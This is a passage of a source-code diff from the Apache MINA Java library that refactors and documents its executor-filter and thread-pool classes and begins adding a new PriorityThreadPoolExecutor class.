TimeUnit unit, ThreadFactory threadFactory, IoEventQueueHandler queueHandler) { - // Create a new Executor - Executor executor = new OrderedThreadPoolExecutor(corePoolSize, maximumPoolSize, - keepAliveTime, unit, threadFactory, queueHandler); - - return executor; - } - + /** * Create an EnumSet from an array of EventTypes, and set the associated * eventTypes field. @@ -535,12 +441,11 @@ private void initEventTypes(IoEventType... eventTypes) { // Copy the list of handled events in the event set this.eventTypes = EnumSet.of(eventTypes[0], eventTypes); - + // Check that we don't have the SESSION_CREATED event in the set - if (this.eventTypes.contains( IoEventType.SESSION_CREATED )) { + if (this.eventTypes.contains(IoEventType.SESSION_CREATED)) { this.eventTypes = null; - throw new IllegalArgumentException(IoEventType.SESSION_CREATED - + " is not allowed."); + throw new IllegalArgumentException(IoEventType.SESSION_CREATED + " is not allowed."); } } @@ -551,7 +456,6 @@ private void initEventTypes(IoEventType... eventTypes) { * @param executor The underlying {@link Executor} in charge of managing the Thread pool. * @param manageableExecutor Tells if the Executor's Life Cycle can be managed or not * @param eventTypes The lit of event which are handled by the executor - * @param */ private void init(Executor executor, boolean manageableExecutor, IoEventType... eventTypes) { if (executor == null) { @@ -562,7 +466,7 @@ private void init(Executor executor, boolean manageableExecutor, IoEventType... this.executor = executor; this.manageableExecutor = manageableExecutor; } - + /** * Shuts down the underlying executor if this filter hase been created via * a convenience constructor. @@ -575,9 +479,7 @@ public void destroy() { } /** - * Returns the underlying {@link Executor} instance this filter uses. - * - * @return The underlying {@link Executor} + * @return the underlying {@link Executor} instance this filter uses. */ public final Executor getExecutor() { return executor; @@ -596,8 +498,7 @@ protected void fireEvent(IoFilterEvent event) { * {@inheritDoc} */ @Override - public void onPreAdd(IoFilterChain parent, String name, - NextFilter nextFilter) throws Exception { + public void onPreAdd(IoFilterChain parent, String name, NextFilter nextFilter) throws Exception { if (parent.contains(this)) { throw new IllegalArgumentException( "You can't add the same filter instance more than once. Create another instance and add it."); @@ -610,8 +511,7 @@ public void onPreAdd(IoFilterChain parent, String name, @Override public final void sessionOpened(NextFilter nextFilter, IoSession session) { if (eventTypes.contains(IoEventType.SESSION_OPENED)) { - IoFilterEvent event = new IoFilterEvent(nextFilter, IoEventType.SESSION_OPENED, - session, null); + IoFilterEvent event = new IoFilterEvent(nextFilter, IoEventType.SESSION_OPENED, session, null); fireEvent(event); } else { nextFilter.sessionOpened(session); @@ -624,8 +524,7 @@ public final void sessionOpened(NextFilter nextFilter, IoSession session) { @Override public final void sessionClosed(NextFilter nextFilter, IoSession session) { if (eventTypes.contains(IoEventType.SESSION_CLOSED)) { - IoFilterEvent event = new IoFilterEvent(nextFilter, IoEventType.SESSION_CLOSED, - session, null); + IoFilterEvent event = new IoFilterEvent(nextFilter, IoEventType.SESSION_CLOSED, session, null); fireEvent(event); } else { nextFilter.sessionClosed(session); @@ -636,11 +535,9 @@ public final void sessionClosed(NextFilter nextFilter, IoSession session) { * {@inheritDoc} */ @Override - public final void sessionIdle(NextFilter nextFilter, IoSession session, - IdleStatus status) { + public final void sessionIdle(NextFilter nextFilter, IoSession session, IdleStatus status) { if (eventTypes.contains(IoEventType.SESSION_IDLE)) { - IoFilterEvent event = new IoFilterEvent(nextFilter, IoEventType.SESSION_IDLE, - session, status); + IoFilterEvent event = new IoFilterEvent(nextFilter, IoEventType.SESSION_IDLE, session, status); fireEvent(event); } else { nextFilter.sessionIdle(session, status); @@ -651,11 +548,9 @@ public final void sessionIdle(NextFilter nextFilter, IoSession session, * {@inheritDoc} */ @Override - public final void exceptionCaught(NextFilter nextFilter, IoSession session, - Throwable cause) { + public final void exceptionCaught(NextFilter nextFilter, IoSession session, Throwable cause) { if (eventTypes.contains(IoEventType.EXCEPTION_CAUGHT)) { - IoFilterEvent event = new IoFilterEvent(nextFilter, - IoEventType.EXCEPTION_CAUGHT, session, cause); + IoFilterEvent event = new IoFilterEvent(nextFilter, IoEventType.EXCEPTION_CAUGHT, session, cause); fireEvent(event); } else { nextFilter.exceptionCaught(session, cause); @@ -666,11 +561,9 @@ public final void exceptionCaught(NextFilter nextFilter, IoSession session, * {@inheritDoc} */ @Override - public final void messageReceived(NextFilter nextFilter, IoSession session, - Object message) { + public final void messageReceived(NextFilter nextFilter, IoSession session, Object message) { if (eventTypes.contains(IoEventType.MESSAGE_RECEIVED)) { - IoFilterEvent event = new IoFilterEvent(nextFilter, - IoEventType.MESSAGE_RECEIVED, session, message); + IoFilterEvent event = new IoFilterEvent(nextFilter, IoEventType.MESSAGE_RECEIVED, session, message); fireEvent(event); } else { nextFilter.messageReceived(session, message); @@ -681,11 +574,9 @@ public final void messageReceived(NextFilter nextFilter, IoSession session, * {@inheritDoc} */ @Override - public final void messageSent(NextFilter nextFilter, IoSession session, - WriteRequest writeRequest) { + public final void messageSent(NextFilter nextFilter, IoSession session, WriteRequest writeRequest) { if (eventTypes.contains(IoEventType.MESSAGE_SENT)) { - IoFilterEvent event = new IoFilterEvent(nextFilter, IoEventType.MESSAGE_SENT, - session, writeRequest); + IoFilterEvent event = new IoFilterEvent(nextFilter, IoEventType.MESSAGE_SENT, session, writeRequest); fireEvent(event); } else { nextFilter.messageSent(session, writeRequest); @@ -696,11 +587,9 @@ public final void messageSent(NextFilter nextFilter, IoSession session, * {@inheritDoc} */ @Override - public final void filterWrite(NextFilter nextFilter, IoSession session, - WriteRequest writeRequest) { + public final void filterWrite(NextFilter nextFilter, IoSession session, WriteRequest writeRequest) { if (eventTypes.contains(IoEventType.WRITE)) { - IoFilterEvent event = new IoFilterEvent(nextFilter, IoEventType.WRITE, session, - writeRequest); + IoFilterEvent event = new IoFilterEvent(nextFilter, IoEventType.WRITE, session, writeRequest); fireEvent(event); } else { nextFilter.filterWrite(session, writeRequest); @@ -711,11 +600,9 @@ public final void filterWrite(NextFilter nextFilter, IoSession session, * {@inheritDoc} */ @Override - public final void filterClose(NextFilter nextFilter, IoSession session) - throws Exception { + public final void filterClose(NextFilter nextFilter, IoSession session) throws Exception { if (eventTypes.contains(IoEventType.CLOSE)) { - IoFilterEvent event = new IoFilterEvent(nextFilter, IoEventType.CLOSE, session, - null); + IoFilterEvent event = new IoFilterEvent(nextFilter, IoEventType.CLOSE, session, null); fireEvent(event); } else { nextFilter.filterClose(session); diff --git a/mina-core/src/main/java/org/apache/mina/filter/executor/IoEventQueueHandler.java b/mina-core/src/main/java/org/apache/mina/filter/executor/IoEventQueueHandler.java index ae344f7d4f..575ac20608 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/executor/IoEventQueueHandler.java +++ b/mina-core/src/main/java/org/apache/mina/filter/executor/IoEventQueueHandler.java @@ -34,34 +34,57 @@ public interface IoEventQueueHandler extends EventListener { /** * A dummy handler which always accepts event doing nothing particular. */ - static IoEventQueueHandler NOOP = new IoEventQueueHandler() { + IoEventQueueHandler NOOP = new IoEventQueueHandler() { + /** + * {@inheritDoc} + */ + @Override public boolean accept(Object source, IoEvent event) { return true; } + + /** + * {@inheritDoc} + */ + @Override public void offered(Object source, IoEvent event) { // NOOP } + + /** + * {@inheritDoc} + */ + @Override public void polled(Object source, IoEvent event) { // NOOP } }; /** - * Returns true if and only if the specified event is - * allowed to be offered to the event queue. The event is dropped - * if false is returned. + * @return true if and only if the specified event is + * allowed to be offered to the event queue. The event is dropped + * if false is returned. + * + * @param source The source of event + * @param event The received event */ boolean accept(Object source, IoEvent event); /** - * Invoked after the specified event has been offered to the + * Invoked after the specified event has been offered to the * event queue. + * + * @param source The source of event + * @param event The received event */ void offered(Object source, IoEvent event); /** - * Invoked after the specified event has been polled from the + * Invoked after the specified event has been polled from the * event queue. + * + * @param source The source of event + * @param event The received event */ void polled(Object source, IoEvent event); } diff --git a/mina-core/src/main/java/org/apache/mina/filter/executor/IoEventQueueThrottle.java b/mina-core/src/main/java/org/apache/mina/filter/executor/IoEventQueueThrottle.java index 4c5eaf4dfa..917076442a 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/executor/IoEventQueueThrottle.java +++ b/mina-core/src/main/java/org/apache/mina/filter/executor/IoEventQueueThrottle.java @@ -32,57 +32,98 @@ */ public class IoEventQueueThrottle implements IoEventQueueHandler { /** A logger for this class */ - private final static Logger LOGGER = LoggerFactory.getLogger(IoEventQueueThrottle.class); + private static final Logger LOGGER = LoggerFactory.getLogger(IoEventQueueThrottle.class); /** The event size estimator instance */ private final IoEventSizeEstimator eventSizeEstimator; - + private volatile int threshold; private final Object lock = new Object(); + + /** The number of events we hold */ private final AtomicInteger counter = new AtomicInteger(); + private int waiters; + /** + * Creates a new IoEventQueueThrottle instance + */ public IoEventQueueThrottle() { this(new DefaultIoEventSizeEstimator(), 65536); } + /** + * Creates a new IoEventQueueThrottle instance + * + * @param threshold The events threshold + */ public IoEventQueueThrottle(int threshold) { this(new DefaultIoEventSizeEstimator(), threshold); } + /** + * Creates a new IoEventQueueThrottle instance + * + * @param eventSizeEstimator The IoEventSizeEstimator instance + * @param threshold The events threshold + */ public IoEventQueueThrottle(IoEventSizeEstimator eventSizeEstimator, int threshold) { if (eventSizeEstimator == null) { throw new IllegalArgumentException("eventSizeEstimator"); } + this.eventSizeEstimator = eventSizeEstimator; setThreshold(threshold); } + /** + * @return The IoEventSizeEstimator instance + */ public IoEventSizeEstimator getEventSizeEstimator() { return eventSizeEstimator; } + /** + * @return The events threshold + */ public int getThreshold() { return threshold; } + /** + * @return The number of events currently held + */ public int getCounter() { return counter.get(); } + /** + * Sets the events threshold + * + * @param threshold The events threshold + */ public void setThreshold(int threshold) { if (threshold <= 0) { throw new IllegalArgumentException("threshold: " + threshold); } + this.threshold = threshold; } + /** + * {@inheritDoc} + */ + @Override public boolean accept(Object source, IoEvent event) { return true; } + /** + * {@inheritDoc} + */ + @Override public void offered(Object source, IoEvent event) { int eventSize = estimateSize(event); int currentCounter = counter.addAndGet(eventSize); @@ -93,6 +134,10 @@ public void offered(Object source, IoEvent event) { } } + /** + * {@inheritDoc} + */ + @Override public void polled(Object source, IoEvent event) { int eventSize = estimateSize(event); int currentCounter = counter.addAndGet(-eventSize); @@ -106,11 +151,12 @@ public void polled(Object source, IoEvent event) { private int estimateSize(IoEvent event) { int size = getEventSizeEstimator().estimateSize(event); + if (size < 0) { - throw new IllegalStateException( - IoEventSizeEstimator.class.getSimpleName() + " returned " + - "a negative value (" + size + "): " + event); + throw new IllegalStateException(IoEventSizeEstimator.class.getSimpleName() + " returned " + + "a negative value (" + size + "): " + event); } + return size; } @@ -127,13 +173,13 @@ protected void block() { synchronized (lock) { while (counter.get() >= threshold) { - waiters ++; + waiters++; try { lock.wait(); } catch (InterruptedException e) { // Wait uninterruptably. } finally { - waiters --; + waiters--; } } } @@ -146,7 +192,7 @@ protected void block() { protected void unblock() { synchronized (lock) { if (waiters > 0) { - lock.notify(); + lock.notifyAll(); } } } diff --git a/mina-core/src/main/java/org/apache/mina/filter/executor/IoEventSizeEstimator.java b/mina-core/src/main/java/org/apache/mina/filter/executor/IoEventSizeEstimator.java index 98c9e7b84b..71f177a2e8 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/executor/IoEventSizeEstimator.java +++ b/mina-core/src/main/java/org/apache/mina/filter/executor/IoEventSizeEstimator.java @@ -29,7 +29,7 @@ */ public interface IoEventSizeEstimator { /** - * Estimate the IoEvent size in numberof bytes + * Estimate the IoEvent size in number of bytes * @param event The event we want to estimate the size of * @return The estimated size of this event */ diff --git a/mina-core/src/main/java/org/apache/mina/filter/executor/OrderedThreadPoolExecutor.java b/mina-core/src/main/java/org/apache/mina/filter/executor/OrderedThreadPoolExecutor.java index 166dd9fa76..bef3dd86fd 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/executor/OrderedThreadPoolExecutor.java +++ b/mina-core/src/main/java/org/apache/mina/filter/executor/OrderedThreadPoolExecutor.java @@ -34,6 +34,7 @@ import java.util.concurrent.ThreadPoolExecutor; import java.util.concurrent.TimeUnit; import java.util.concurrent.atomic.AtomicInteger; +import java.util.concurrent.atomic.AtomicLong; import org.apache.mina.core.session.AttributeKey; import org.apache.mina.core.session.DummySession; @@ -53,31 +54,33 @@ */ public class OrderedThreadPoolExecutor extends ThreadPoolExecutor { /** A logger for this class (commented as it breaks MDCFlter tests) */ - static Logger LOGGER = LoggerFactory.getLogger(OrderedThreadPoolExecutor.class); + private static final Logger LOGGER = LoggerFactory.getLogger(OrderedThreadPoolExecutor.class); /** A default value for the initial pool size */ private static final int DEFAULT_INITIAL_THREAD_POOL_SIZE = 0; - + /** A default value for the maximum pool size */ private static final int DEFAULT_MAX_THREAD_POOL = 16; - + /** A default value for the KeepAlive delay */ private static final int DEFAULT_KEEP_ALIVE = 30; - + private static final IoSession EXIT_SIGNAL = new DummySession(); - /** A key stored into the session's attribute for the event tasks being queued */ - private final AttributeKey TASKS_QUEUE = new AttributeKey(getClass(), "tasksQueue"); - + /** A key stored into the session's attribute for the event tasks being queued */ + private static final AttributeKey TASKS_QUEUE = new AttributeKey(OrderedThreadPoolExecutor.class, "tasksQueue"); + /** A queue used to store the available sessions */ - private final BlockingQueue waitingSessions = new LinkedBlockingQueue(); + private final BlockingQueue waitingSessions = new LinkedBlockingQueue<>(); - private final Set workers = new HashSet(); + private final Set workers = new HashSet<>(); private volatile int largestPoolSize; + private final AtomicInteger idleWorkers = new AtomicInteger(); private long completedTaskCount; + private volatile boolean shutdown; private final IoEventQueueHandler eventQueueHandler; @@ -91,8 +94,8 @@ public class OrderedThreadPoolExecutor extends ThreadPoolExecutor { * - All events are accepted */ public OrderedThreadPoolExecutor() { - this(DEFAULT_INITIAL_THREAD_POOL_SIZE, DEFAULT_MAX_THREAD_POOL, - DEFAULT_KEEP_ALIVE, TimeUnit.SECONDS, Executors.defaultThreadFactory(), null); + this(DEFAULT_INITIAL_THREAD_POOL_SIZE, DEFAULT_MAX_THREAD_POOL, DEFAULT_KEEP_ALIVE, TimeUnit.SECONDS, Executors + .defaultThreadFactory(), null); } /** @@ -105,8 +108,8 @@ public OrderedThreadPoolExecutor() { * @param maximumPoolSize The maximum pool size */ public OrderedThreadPoolExecutor(int maximumPoolSize) { - this(DEFAULT_INITIAL_THREAD_POOL_SIZE, maximumPoolSize, DEFAULT_KEEP_ALIVE, TimeUnit.SECONDS, - Executors.defaultThreadFactory(), null); + this(DEFAULT_INITIAL_THREAD_POOL_SIZE, maximumPoolSize, DEFAULT_KEEP_ALIVE, TimeUnit.SECONDS, Executors + .defaultThreadFactory(), null); } /** @@ -119,8 +122,8 @@ public OrderedThreadPoolExecutor(int maximumPoolSize) { * @param maximumPoolSize The maximum pool size */ public OrderedThreadPoolExecutor(int corePoolSize, int maximumPoolSize) { - this(corePoolSize, maximumPoolSize, DEFAULT_KEEP_ALIVE, TimeUnit.SECONDS, - Executors.defaultThreadFactory(), null); + this(corePoolSize, maximumPoolSize, DEFAULT_KEEP_ALIVE, TimeUnit.SECONDS, Executors.defaultThreadFactory(), + null); } /** @@ -133,10 +136,8 @@ public OrderedThreadPoolExecutor(int corePoolSize, int maximumPoolSize) { * @param keepAliveTime Default duration for a thread * @param unit Time unit used for the keepAlive value */ - public OrderedThreadPoolExecutor( - int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit) { - this(corePoolSize, maximumPoolSize, keepAliveTime, unit, - Executors.defaultThreadFactory(), null); + public OrderedThreadPoolExecutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit) { + this(corePoolSize, maximumPoolSize, keepAliveTime, unit, Executors.defaultThreadFactory(), null); } /** @@ -149,12 +150,9 @@ public OrderedThreadPoolExecutor( * @param unit Time unit used for the keepAlive value * @param eventQueueHandler The queue used to store events */ - public OrderedThreadPoolExecutor( - int corePoolSize, int maximumPoolSize, - long keepAliveTime, TimeUnit unit, + public OrderedThreadPoolExecutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, IoEventQueueHandler eventQueueHandler) { - this(corePoolSize, maximumPoolSize, keepAliveTime, unit, - Executors.defaultThreadFactory(), eventQueueHandler); + this(corePoolSize, maximumPoolSize, keepAliveTime, unit, Executors.defaultThreadFactory(), eventQueueHandler); } /** @@ -167,9 +165,7 @@ public OrderedThreadPoolExecutor( * @param unit Time unit used for the keepAlive value * @param threadFactory The factory used to create threads */ - public OrderedThreadPoolExecutor( - int corePoolSize, int maximumPoolSize, - long keepAliveTime, TimeUnit unit, + public OrderedThreadPoolExecutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, ThreadFactory threadFactory) { this(corePoolSize, maximumPoolSize, keepAliveTime, unit, threadFactory, null); } @@ -184,28 +180,26 @@ public OrderedThreadPoolExecutor( * @param threadFactory The factory used to create threads * @param eventQueueHandler The queue used to store events */ - public OrderedThreadPoolExecutor( - int corePoolSize, int maximumPoolSize, - long keepAliveTime, TimeUnit unit, + public OrderedThreadPoolExecutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, ThreadFactory threadFactory, IoEventQueueHandler eventQueueHandler) { // We have to initialize the pool with default values (0 and 1) in order to // handle the exception in a better way. We can't add a try {} catch() {} // around the super() call. - super(DEFAULT_INITIAL_THREAD_POOL_SIZE, 1, keepAliveTime, unit, - new SynchronousQueue(), threadFactory, new AbortPolicy()); + super(DEFAULT_INITIAL_THREAD_POOL_SIZE, 1, keepAliveTime, unit, new SynchronousQueue<>(), + threadFactory, new AbortPolicy()); if (corePoolSize < DEFAULT_INITIAL_THREAD_POOL_SIZE) { throw new IllegalArgumentException("corePoolSize: " + corePoolSize); } - if ((maximumPoolSize == 0) || (maximumPoolSize < corePoolSize)) { + if ((maximumPoolSize <= 0) || (maximumPoolSize < corePoolSize)) { throw new IllegalArgumentException("maximumPoolSize: " + maximumPoolSize); } // Now, we can setup the pool sizes - super.setCorePoolSize( corePoolSize ); - super.setMaximumPoolSize( maximumPoolSize ); - + super.setMaximumPoolSize(maximumPoolSize); + super.setCorePoolSize(corePoolSize); + // The queueHandler might be null. if (eventQueueHandler == null) { this.eventQueueHandler = IoEventQueueHandler.NOOP; @@ -213,7 +207,6 @@ public OrderedThreadPoolExecutor( this.eventQueueHandler = eventQueueHandler; } } - /** * Get the session's tasks queue. @@ -223,17 +216,16 @@ private SessionTasksQueue getSessionTasksQueue(IoSession session) { if (queue == null) { queue = new SessionTasksQueue(); - SessionTasksQueue oldQueue = - (SessionTasksQueue) session.setAttributeIfAbsent(TASKS_QUEUE, queue); - + SessionTasksQueue oldQueue = (SessionTasksQueue) session.setAttributeIfAbsent(TASKS_QUEUE, queue); + if (oldQueue != null) { queue = oldQueue; } } - + return queue; } - + /** * @return The associated queue handler. */ @@ -262,13 +254,14 @@ private void addWorker() { // Create a new worker, and add it to the thread pool Worker worker = new Worker(); Thread thread = getThreadFactory().newThread(worker); - + + workers.add(worker); + // As we have added a new thread, it's considered as idle. idleWorkers.incrementAndGet(); - + // Now, we can start it. thread.start(); - workers.add(worker); if (workers.size() > largestPoolSize) { largestPoolSize = workers.size(); @@ -298,26 +291,17 @@ private void removeWorker() { } } - /** - * {@inheritDoc} - */ - @Override - public int getMaximumPoolSize() { - return super.getMaximumPoolSize(); - } - /** * {@inheritDoc} */ @Override public void setMaximumPoolSize(int maximumPoolSize) { if ((maximumPoolSize <= 0) || (maximumPoolSize < super.getCorePoolSize())) { - throw new IllegalArgumentException("maximumPoolSize: " - + maximumPoolSize); + throw new IllegalArgumentException("maximumPoolSize: " + maximumPoolSize); } synchronized (workers) { - super.setMaximumPoolSize( maximumPoolSize ); + super.setMaximumPoolSize(maximumPoolSize); int difference = workers.size() - maximumPoolSize; while (difference > 0) { removeWorker(); @@ -330,8 +314,7 @@ public void setMaximumPoolSize(int maximumPoolSize) { * {@inheritDoc} */ @Override - public boolean awaitTermination(long timeout, TimeUnit unit) - throws InterruptedException { + public boolean awaitTermination(long timeout, TimeUnit unit) throws InterruptedException { long deadline = System.currentTimeMillis() + unit.toMillis(timeout); @@ -382,7 +365,7 @@ public void shutdown() { shutdown = true; synchronized (workers) { - for (int i = workers.size(); i > 0; i --) { + for (int i = workers.size(); i > 0; i--) { waitingSessions.offer(EXIT_SIGNAL); } } @@ -395,9 +378,9 @@ public void shutdown() { public List shutdownNow() { shutdown(); - List answer = new ArrayList(); + List answer = new ArrayList<>(); IoSession session; - + while ((session = waitingSessions.poll()) != null) { if (session == EXIT_SIGNAL) { waitingSessions.offer(EXIT_SIGNAL); @@ -406,41 +389,45 @@ public List shutdownNow() { } SessionTasksQueue sessionTasksQueue = (SessionTasksQueue) session.getAttribute(TASKS_QUEUE); - + synchronized (sessionTasksQueue.tasksQueue) { - - for (Runnable task: sessionTasksQueue.tasksQueue) { + + for (Runnable task : sessionTasksQueue.tasksQueue) { getQueueHandler().polled(this, (IoEvent) task); answer.add(task); } - + sessionTasksQueue.tasksQueue.clear(); } } return answer; } - - + /** * A Helper class used to print the list of events being queued. */ - private void print( Queue queue, IoEvent event) { + private void print(Queue queue, IoEvent event) { StringBuilder sb = new StringBuilder(); - sb.append( "Adding event " ).append( event.getType() ).append( " to session " ).append(event.getSession().getId() ); + sb.append("Adding event ").append(event.getType()).append(" to session ").append(event.getSession().getId()); boolean first = true; - sb.append( "\nQueue : [" ); - for (Runnable elem:queue) { - if ( first ) { + sb.append("\nQueue : ["); + + for (Runnable elem : queue) { + if (first) { first = false; } else { - sb.append( ", " ); + sb.append(", "); } - - sb.append(((IoEvent)elem).getType()).append(", "); + + sb.append(((IoEvent) elem).getType()).append(", "); + } + + sb.append("]\n"); + + if (LOGGER.isDebugEnabled()) { + LOGGER.debug(sb.toString()); } - sb.append( "]\n" ); - LOGGER.debug( sb.toString() ); } /** @@ -456,27 +443,27 @@ public void execute(Runnable task) { checkTaskType(task); IoEvent event = (IoEvent) task; - + // Get the associated session IoSession session = event.getSession(); - + // Get the session's queue of events SessionTasksQueue sessionTasksQueue = getSessionTasksQueue(session); Queue tasksQueue = sessionTasksQueue.tasksQueue; - + boolean offerSession; // propose the new event to the event queue handler. If we // use a throttle queue handler, the message may be rejected // if the maximum size has been reached. boolean offerEvent = eventQueueHandler.accept(this, event); - + if (offerEvent) { // Ok, the message has been accepted synchronized (tasksQueue) { // Inject the event into the executor taskQueue tasksQueue.offer(event); - + if (sessionTasksQueue.processingCompleted) { sessionTasksQueue.processingCompleted = false; offerSession = true; @@ -533,8 +520,8 @@ public int getActiveCount() { public long getCompletedTaskCount() { synchronized (workers) { long answer = completedTaskCount; - for (Worker w: workers) { - answer += w.completedTaskCount; + for (Worker w : workers) { + answer += w.completedTaskCount.get(); } return answer; @@ -584,9 +571,9 @@ public boolean isTerminating() { public int prestartAllCoreThreads() { int answer = 0; synchronized (workers) { - for (int i = super.getCorePoolSize() - workers.size() ; i > 0; i --) { + for (int i = super.getCorePoolSize() - workers.size(); i > 0; i--) { addWorker(); - answer ++; + answer++; } } return answer; @@ -631,15 +618,15 @@ public boolean remove(Runnable task) { checkTaskType(task); IoEvent event = (IoEvent) task; IoSession session = event.getSession(); - SessionTasksQueue sessionTasksQueue = (SessionTasksQueue)session.getAttribute( TASKS_QUEUE ); - Queue tasksQueue = sessionTasksQueue.tasksQueue; - + SessionTasksQueue sessionTasksQueue = (SessionTasksQueue) session.getAttribute(TASKS_QUEUE); + if (sessionTasksQueue == null) { return false; } boolean removed; - + Queue tasksQueue = sessionTasksQueue.tasksQueue; + synchronized (tasksQueue) { removed = tasksQueue.remove(task); } @@ -651,14 +638,6 @@ public boolean remove(Runnable task) { return removed; } - /** - * {@inheritDoc} - */ - @Override - public int getCorePoolSize() { - return super.getCorePoolSize(); - } - /** * {@inheritDoc} */ @@ -672,8 +651,8 @@ public void setCorePoolSize(int corePoolSize) { } synchronized (workers) { - if (super.getCorePoolSize()> corePoolSize) { - for (int i = super.getCorePoolSize() - corePoolSize; i > 0; i --) { + if (super.getCorePoolSize() > corePoolSize) { + for (int i = super.getCorePoolSize() - corePoolSize; i > 0; i--) { removeWorker(); } } @@ -683,9 +662,14 @@ public void setCorePoolSize(int corePoolSize) { private class Worker implements Runnable { - private volatile long completedTaskCount; + private AtomicLong completedTaskCount = new AtomicLong(0); + private Thread thread; - + + /** + * @inheritedDoc + */ + @Override public void run() { thread = Thread.currentThread(); @@ -698,8 +682,6 @@ public void run() { if (session == null) { synchronized (workers) { if (workers.size() > getCorePoolSize()) { - // Remove now to prevent duplicate exit. - workers.remove(this); break; } } @@ -709,18 +691,16 @@ public void run() { break; } - try { - if (session != null) { - runTasks(getSessionTasksQueue(session)); - } - } finally { - idleWorkers.incrementAndGet(); + if (session != null) { + runTasks(getSessionTasksQueue(session)); } + + idleWorkers.incrementAndGet(); } } finally { synchronized (workers) { workers.remove(this); - OrderedThreadPoolExecutor.this.completedTaskCount += completedTaskCount; + OrderedThreadPoolExecutor.this.completedTaskCount += completedTaskCount.get(); workers.notifyAll(); } } @@ -730,9 +710,11 @@ private IoSession fetchSession() { IoSession session = null; long currentTime = System.currentTimeMillis(); long deadline = currentTime + getKeepAliveTime(TimeUnit.MILLISECONDS); + for (;;) { try { long waitTime = deadline - currentTime; + if (waitTime <= 0) { break; } @@ -741,7 +723,7 @@ private IoSession fetchSession() { session = waitingSessions.poll(waitTime, TimeUnit.MILLISECONDS); break; } finally { - if (session == null) { + if (session != null) { currentTime = System.currentTimeMillis(); } } @@ -750,6 +732,7 @@ private IoSession fetchSession() { continue; } } + return session; } @@ -757,10 +740,10 @@ private void runTasks(SessionTasksQueue sessionTasksQueue) { for (;;) { Runnable task; Queue tasksQueue = sessionTasksQueue.tasksQueue; - + synchronized (tasksQueue) { task = tasksQueue.poll(); - + if (task == null) { sessionTasksQueue.processingCompleted = true; break; @@ -780,7 +763,7 @@ private void runTask(Runnable task) { task.run(); ran = true; afterExecute(task, null); - completedTaskCount ++; + completedTaskCount.incrementAndGet(); } catch (RuntimeException e) { if (!ran) { afterExecute(task, e); @@ -789,16 +772,15 @@ private void runTask(Runnable task) { } } } - - + /** * A class used to store the ordered list of events to be processed by the * session, and the current task state. */ private class SessionTasksQueue { - /** A queue of ordered event waiting to be processed */ - private final Queue tasksQueue = new ConcurrentLinkedQueue(); - + /** A queue of ordered event waiting to be processed */ + private final Queue tasksQueue = new ConcurrentLinkedQueue<>(); + /** The current task state */ private boolean processingCompleted = true; } diff --git a/mina-core/src/main/java/org/apache/mina/filter/executor/PriorityThreadPoolExecutor.java b/mina-core/src/main/java/org/apache/mina/filter/executor/PriorityThreadPoolExecutor.java new file mode 100644 index 0000000000..26aadbae3d --- /dev/null +++ b/mina-core/src/main/java/org/apache/mina/filter/executor/PriorityThreadPoolExecutor.java @@ -0,0 +1,921 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.filter.executor; + +import java.util.ArrayList; +import java.util.Comparator; +import java.util.HashSet; +import java.util.List; +import java.util.Queue; +import java.util.Set; +import java.util.concurrent.BlockingQueue; +import java.util.concurrent.ConcurrentLinkedQueue; +import java.util.concurrent.Executors; +import java.util.concurrent.LinkedBlockingQueue; +import java.util.concurrent.PriorityBlockingQueue; +import java.util.concurrent.RejectedExecutionHandler; +import java.util.concurrent.SynchronousQueue; +import java.util.concurrent.ThreadFactory; +import java.util.concurrent.ThreadPoolExecutor; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicInteger; +import java.util.concurrent.atomic.AtomicLong; + +import org.apache.mina.core.session.AttributeKey; +import org.apache.mina.core.session.DummySession; +import org.apache.mina.core.session.IoEvent; +import org.apache.mina.core.session.IoSession; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * A {@link ThreadPoolExecutor} that maintains the order of {@link IoEvent}s + * within a session (similar to {@link OrderedThreadPoolExecutor}) and allows + * some sessions to be prioritized over other sessions. + *

    + * If you don't need to maintain the order of events per session, please use + * {@link UnorderedThreadPoolExecutor}. + *

    + * If you don't need to prioritize sessions, please use + * {@link OrderedThreadPoolExecutor}. + * + * @author Apache MINA Project + * @author Guus der Kinderen, guus.der.kinderen@gmail.com + * @org.apache.xbean.XBean + */ +// TODO this class currently copies OrderedThreadPoolExecutor, and changes the +// BlockingQueue used for the waitingSessions field. This code duplication +// should be avoided. +public class PriorityThreadPoolExecutor extends ThreadPoolExecutor { + /** A logger for this class (commented as it breaks MDCFlter tests) */ + private static final Logger LOGGER = LoggerFactory.getLogger(PriorityThreadPoolExecutor.class); + + /** Generates sequential identifiers that ensure FIFO behavior. */ + private static final AtomicLong seq = new AtomicLong(0); + + /** A default value for the initial pool size */ + private static final int DEFAULT_INITIAL_THREAD_POOL_SIZE = 0; + + /** A default value for the maximum pool size */ + private static final int DEFAULT_MAX_THREAD_POOL = 16; + + /** A default value for the KeepAlive delay */ + private static final int DEFAULT_KEEP_ALIVE = 30; + + private static final SessionEntry EXIT_SIGNAL = new SessionEntry(new DummySession(), null); + + /** + * A key stored into the session's attribute for the event tasks being queued + */ + private static final AttributeKey TASKS_QUEUE = new AttributeKey(PriorityThreadPoolExecutor.class, "tasksQueue"); + + /** A queue used to store the available sessions */ + private final BlockingQueue waitingSessions; + + private final Set workers = new HashSet<>(); + + private volatile int largestPoolSize; + + private final AtomicInteger idleWorkers = new AtomicInteger(); + + private long completedTaskCount; + + private volatile boolean shutdown; + + private final IoEventQueueHandler 